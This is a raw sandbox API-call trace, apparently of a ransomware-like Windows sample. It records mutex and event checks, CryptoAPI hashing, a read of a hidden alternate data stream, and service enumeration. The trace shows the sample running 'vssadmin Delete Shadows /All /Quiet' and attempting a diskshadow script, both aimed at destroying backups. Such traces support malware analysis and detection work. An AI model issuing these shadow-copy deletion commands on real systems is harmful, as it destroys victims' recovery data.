CryptGetHashParam (in: hHash=0x7f2ad0, dwParam=0x2, pbData=0x21590f0, pdwDataLen=0x36f518, dwFlags=0x0 | out: pbData=0x21590f0, pdwDataLen=0x36f518) returned 1 [0165.713] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21590a8 [0165.713] CryptDestroyHash (hHash=0x7f2ad0) returned 1 [0165.713] CryptReleaseContext (hProv=0x803dc8, dwFlags=0x0) returned 1 [0165.713] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21590f0) returned 1 [0165.713] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21590f0 [0165.714] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x2159138 [0165.714] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21590f0) returned 1 [0165.714] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21590f0 [0165.714] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21590f0) returned 1 [0165.714] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2159138) returned 1 [0165.714] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21590a8) returned 1 [0165.714] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21590a8 [0165.714] OpenEventA (dwDesiredAccess=0x100002, bInheritHandle=0, lpName="{DB697C21-3780-0C33-4345-2F1B4C2F2F3D}") returned 0x0 [0165.714] GetLastError () returned 0x2 [0165.714] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x5000) returned 0x2152850 [0165.714] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x2159138 [0165.714] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2159138) returned 1 [0165.714] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0165.719] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0165.719] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x7e8980, lpbSaclPresent=0x36f4dc, pSacl=0x36f530, lpbSaclDefaulted=0x36f4dc | out: lpbSaclPresent=0x36f4dc, pSacl=0x36f530, lpbSaclDefaulted=0x36f4dc) returned 1 [0165.719] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x2159138 [0165.719] CreateEventA (lpEventAttributes=0x36f524, bManualReset=1, bInitialState=0, lpName="{DB697C21-3780-0C33-4345-2F1B4C2F2F3D}") returned 0xf8 [0165.720] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2159138) returned 1 [0165.720] GetLastError () returned 0x0 [0165.720] SetSecurityInfo () returned 0x0 [0165.724] LocalFree (hMem=0x7e8980) returned 0x0 [0165.724] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x2159138 [0165.724] CryptAcquireContextW (in: phProv=0x36f514, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f514*=0x803ea0) returned 1 [0165.725] CryptCreateHash (in: hProv=0x803ea0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x36f514 | out: phHash=0x36f514) returned 1 [0165.725] CryptHashData (hHash=0x7f2ad0, pbData=0x2158f88, dwDataLen=0xb, dwFlags=0x0) returned 1 [0165.725] CryptGetHashParam (in: hHash=0x7f2ad0, dwParam=0x4, pbData=0x36f518, pdwDataLen=0x36f524, dwFlags=0x0 | out: pbData=0x36f518, pdwDataLen=0x36f524) returned 1 [0165.725] CryptGetHashParam (in: hHash=0x7f2ad0, dwParam=0x2, pbData=0x2159138, pdwDataLen=0x36f518, dwFlags=0x0 | out: pbData=0x2159138, pdwDataLen=0x36f518) returned 1 [0165.725] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21590f0 [0165.725] CryptDestroyHash (hHash=0x7f2ad0) returned 1 [0165.725] CryptReleaseContext (hProv=0x803ea0, dwFlags=0x0) returned 1 [0165.725] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2159138) returned 1 [0165.725] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x2159138 [0165.725] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x2159180 [0165.725] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2159138) returned 1 [0165.725] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x2159138 [0165.725] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2159138) returned 1 [0165.725] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2159180) returned 1 [0165.725] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21590f0) returned 1 [0165.725] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21590f0 [0165.725] OpenEventA (dwDesiredAccess=0x100002, bInheritHandle=0, lpName="Global\\{92EAD6E2-16CB-825D-3763-CAC9D6ED414E}") returned 0x0 [0165.725] GetLastError () returned 0x5 [0165.725] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x2159180 [0165.725] OpenEventA (dwDesiredAccess=0x1f0003, bInheritHandle=0, lpName="Global\\{92EAD6E2-16CB-825D-3763-CAC9D6ED414E}") returned 0x0 [0165.726] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2159180) returned 1 [0165.726] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x2159180 [0165.726] OpenEventA (dwDesiredAccess=0x2, bInheritHandle=0, lpName="Global\\{92EAD6E2-16CB-825D-3763-CAC9D6ED414E}") returned 0x0 [0165.726] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2159180) returned 1 [0165.726] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x2159180 [0165.726] OpenEventA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\{92EAD6E2-16CB-825D-3763-CAC9D6ED414E}") returned 0x0 [0165.726] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2159180) returned 1 [0165.726] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x2159180 [0165.726] CryptAcquireContextW (in: phProv=0x36f514, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f514*=0x803ea0) returned 1 [0165.727] CryptCreateHash (in: hProv=0x803ea0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x36f514 | out: phHash=0x36f514) returned 1 [0165.727] CryptHashData (hHash=0x7f2ad0, pbData=0x2158f88, dwDataLen=0xb, dwFlags=0x0) returned 1 [0165.727] CryptGetHashParam (in: hHash=0x7f2ad0, dwParam=0x4, pbData=0x36f518, pdwDataLen=0x36f524, dwFlags=0x0 | out: pbData=0x36f518, pdwDataLen=0x36f524) returned 1 [0165.727] CryptGetHashParam (in: hHash=0x7f2ad0, dwParam=0x2, pbData=0x2159180, pdwDataLen=0x36f518, dwFlags=0x0 | out: pbData=0x2159180, pdwDataLen=0x36f518) returned 1 [0165.727] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x2159138 [0165.727] CryptDestroyHash (hHash=0x7f2ad0) returned 1 [0165.727] CryptReleaseContext (hProv=0x803ea0, dwFlags=0x0) returned 1 [0165.727] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2159180) returned 1 [0165.727] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x2159180 [0165.727] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21591c8 [0165.727] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2159180) returned 1 [0165.727] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x2159180 [0165.727] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2159180) returned 1 [0165.727] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21591c8) returned 1 [0165.727] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2159138) returned 1 [0165.727] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x2159138 [0165.728] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21591c8 [0165.728] OpenMutexA (dwDesiredAccess=0x100002, bInheritHandle=0, lpName="Global\\{FD64C8AB-F74D-C8D4-F31D-96A1BB45705E}") returned 0x0 [0165.728] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21591c8) returned 1 [0165.728] GetLastError () returned 0x5 [0165.728] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21591c8 [0165.728] OpenMutexA (dwDesiredAccess=0x2, bInheritHandle=0, lpName="Global\\{FD64C8AB-F74D-C8D4-F31D-96A1BB45705E}") returned 0x0 [0165.728] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21591c8) returned 1 [0165.728] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21591c8 [0165.728] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\{FD64C8AB-F74D-C8D4-F31D-96A1BB45705E}") returned 0x0 [0165.728] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21591c8) returned 1 [0165.728] ReleaseMutex (hMutex=0x0) returned 0 [0165.728] GetLastError () returned 0x6 [0165.728] SetEvent (hEvent=0xf8) returned 1 [0165.730] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x100) returned 0x2159e98 [0165.730] GetSystemDirectoryW (in: lpBuffer=0x2159e98, uSize=0x40 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0165.730] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2159e98) returned 1 [0165.730] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0165.730] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e8c8 [0165.730] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e9d8 [0165.731] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x5000) returned 0x2152850 [0165.731] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21591c8 [0165.731] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21591c8) returned 1 [0165.731] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0165.731] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x5000) returned 0x2152850 [0165.731] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21591c8 [0165.731] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21591c8) returned 1 [0165.731] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0165.731] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252ea60 [0165.731] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\vssadmin.exe", lpCommandLine="C:\\Windows\\system32\\vssadmin.exe Delete Shadows /All /Quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x36f4ac*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x36f49c | out: lpCommandLine="C:\\Windows\\system32\\vssadmin.exe Delete Shadows /All /Quiet", lpProcessInformation=0x36f49c*(hProcess=0x13c, hThread=0x110, dwProcessId=0x7ac, dwThreadId=0x59c)) returned 1 [0165.875] NtClose (Handle=0x110) returned 0x0 [0165.875] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252ea60) returned 1 [0165.875] NtClose (Handle=0x13c) returned 0x0 [0165.875] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252ea60 [0165.875] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x400) returned 0x2152850 [0165.875] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x400) returned 0x2152c58 [0165.875] GetEnvironmentVariableW (in: lpName="TEMP", lpBuffer=0x2152850, nSize=0x100 | out: lpBuffer="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp") returned 0x24 [0165.876] GetShortPathNameW (in: lpszLongPath="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", lpszShortPath=0x2152c58, cchBuffer=0x100 | out: lpszShortPath="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp") returned 0x24 [0165.876] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152c58) returned 1 [0165.876] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0165.876] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252ea60) returned 1 [0165.876] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252ea60 [0165.876] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x400) returned 0x2152850 [0165.876] CryptAcquireContextW (in: phProv=0x36f478, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f478*=0x803ea0) returned 1 [0165.877] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x184) returned 0x2152c58 [0165.877] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21591c8 [0165.877] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x2159180 [0165.877] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x2159210 [0165.877] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x2159258 [0165.877] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21592a0 [0165.877] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21592e8 [0165.877] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x2159330 [0165.877] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x2159378 [0165.877] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21593c0 [0165.877] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x2159408 [0165.877] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x2159450 [0165.877] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x2159498 [0165.877] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21594e0 [0165.877] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x2159528 [0165.877] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x2159570 [0165.877] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21595b8 [0165.877] CryptGenRandom (in: hProv=0x803ea0, dwLen=0x4, pbBuffer=0x36f48c | out: pbBuffer=0x36f48c) returned 1 [0165.877] CryptReleaseContext (hProv=0x803ea0, dwFlags=0x0) returned 1 [0165.877] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252eae8 [0165.877] CryptAcquireContextW (in: phProv=0x36f474, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f474*=0x803ea0) returned 1 [0165.878] CryptGenRandom (in: hProv=0x803ea0, dwLen=0x4, pbBuffer=0x36f488 | out: pbBuffer=0x36f488) returned 1 [0165.878] CryptReleaseContext (hProv=0x803ea0, dwFlags=0x0) returned 1 [0165.878] GetTempFileNameW (in: lpPathName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\", lpPrefixString="P", uUnique=0x0, lpTempFileName=0x2152850 | out: lpTempFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\P9D95.tmp" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\p9d95.tmp")) returned 0x9d95 [0165.879] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252eae8) returned 1 [0165.879] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x400) returned 0x2152de8 [0165.879] GetShortPathNameW (in: lpszLongPath="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\P9D95.tmp", lpszShortPath=0x2152de8, cchBuffer=0x100 | out: lpszShortPath="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\P9D95.tmp") returned 0x2e [0165.879] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0165.879] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252ea60) returned 1 [0165.879] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252ea60 [0165.879] GetFileAttributesExW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\P9D95.tmp" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\p9d95.tmp"), fInfoLevelId=0x0, lpFileInformation=0x36f480 | out: lpFileInformation=0x36f480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7a1156f0, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x7a1156f0, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x7a1156f0, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0165.879] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\P9D95.tmp" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\p9d95.tmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0165.879] SetFileTime (hFile=0x13c, lpCreationTime=0x0, lpLastAccessTime=0x36f4c4, lpLastWriteTime=0x36f4c4) returned 1 [0165.879] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x2800) returned 0x21531f0 [0165.879] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x2159600 [0165.879] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2159600) returned 1 [0165.879] WriteFile (in: hFile=0x13c, lpBuffer=0x21531f0*, nNumberOfBytesToWrite=0x1a, lpNumberOfBytesWritten=0x36f4f0, lpOverlapped=0x0 | out: lpBuffer=0x21531f0*, lpNumberOfBytesWritten=0x36f4f0*=0x1a, lpOverlapped=0x0) returned 1 [0165.880] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21531f0) returned 1 [0165.880] NtClose (Handle=0x13c) returned 0x0 [0165.880] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x5000) returned 0x2159e98 [0165.881] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x2159600 [0165.881] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2159600) returned 1 [0165.881] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2159e98) returned 1 [0165.881] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252eae8 [0165.881] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x100) returned 0x2152850 [0165.881] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252eae8) returned 1 [0165.881] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\diskshadow.exe", lpCommandLine="C:\\Windows\\system32\\diskshadow.exe /s C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\P9D95.tmp", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x36f4ac*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x36f49c | out: lpCommandLine="C:\\Windows\\system32\\diskshadow.exe /s C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\P9D95.tmp", lpProcessInformation=0x36f49c*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0 [0165.881] NtClose (Handle=0x0) returned 0xc0000008 [0165.881] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0165.881] NtClose (Handle=0x0) returned 0xc0000008 [0165.881] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252ea60) returned 1 [0165.881] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152de8) returned 1 [0165.881] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e9d8) returned 1 [0165.881] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e8c8) returned 1 [0165.881] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0165.881] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0165.881] GetFileAttributesExW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\SFBHOP~1:bin" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\sfbhop~1:bin"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x792a7190, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x792a7190, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x792a7190, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x44000)) returned 1 [0165.882] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\SFBHOP~1:bin" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\sfbhop~1:bin"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0165.882] SetFileTime (hFile=0x13c, lpCreationTime=0x0, lpLastAccessTime=0x36f510, lpLastWriteTime=0x36f510) returned 0 [0165.882] GetFileSize (in: hFile=0x13c, lpFileSizeHigh=0x36f4fc | out: lpFileSizeHigh=0x36f4fc*=0x0) returned 0x44000 [0165.882] SetFilePointer (in: hFile=0x13c, lDistanceToMove=0, lpDistanceToMoveHigh=0x36f508*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x36f508*=0) returned 0x0 [0165.882] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x44000) returned 0x2159e98 [0165.886] ReadFile (in: hFile=0x13c, lpBuffer=0x2159e98, nNumberOfBytesToRead=0x44000, lpNumberOfBytesRead=0x36f53c, lpOverlapped=0x0 | out: lpBuffer=0x2159e98*, lpNumberOfBytesRead=0x36f53c*=0x44000, lpOverlapped=0x0) returned 1 [0165.888] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x44000) returned 0x219dea0 [0165.902] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2159e98) returned 1 [0165.902] NtClose (Handle=0x13c) returned 0x0 [0165.902] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x803918 [0165.967] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40000) returned 0x2159e98 [0165.967] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x400) returned 0x2152850 [0165.967] EnumServicesStatusExW (in: hSCManager=0x803918, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x2159e98, cbBufSize=0x40000, pcbBytesNeeded=0x36f4e8, lpServicesReturned=0x36f4d8, lpResumeHandle=0x36f4e4, pszGroupName=0x0 | out: lpServices=0x2159e98, pcbBytesNeeded=0x36f4e8, lpServicesReturned=0x36f4d8, lpResumeHandle=0x36f4e4) returned 1 [0165.977] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x2159600 [0165.977] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e8c8 [0165.977] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e9d8 [0165.977] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252ea60 [0165.977] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252eae8 [0165.977] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252eb70 [0165.977] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0165.977] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x2159648 [0165.977] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x2159648, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0165.977] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x2159690 [0165.977] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2159648) returned 1 [0165.977] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2159690) returned 1 [0165.977] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252eb70) returned 1 [0165.977] OpenServiceW (hSCManager=0x803918, lpServiceName="AdobeFlashPlayerUpdateSvc", dwDesiredAccess=0x1) returned 0x8038a0 [0165.977] QueryServiceConfigW (in: hService=0x8038a0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0165.978] GetLastError () returned 0x7a [0165.978] QueryServiceConfigW (in: hService=0x8038a0, lpServiceConfig=0x2152850, cbBufSize=0x146, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0165.978] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252eb70 [0165.978] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252ebf8 [0165.978] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252eb70) returned 1 [0165.978] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252ebf8) returned 1 [0165.978] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252ebf8 [0165.978] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flashplayerupdateservice.exe", cchWideChar=28, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 28 [0165.978] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, 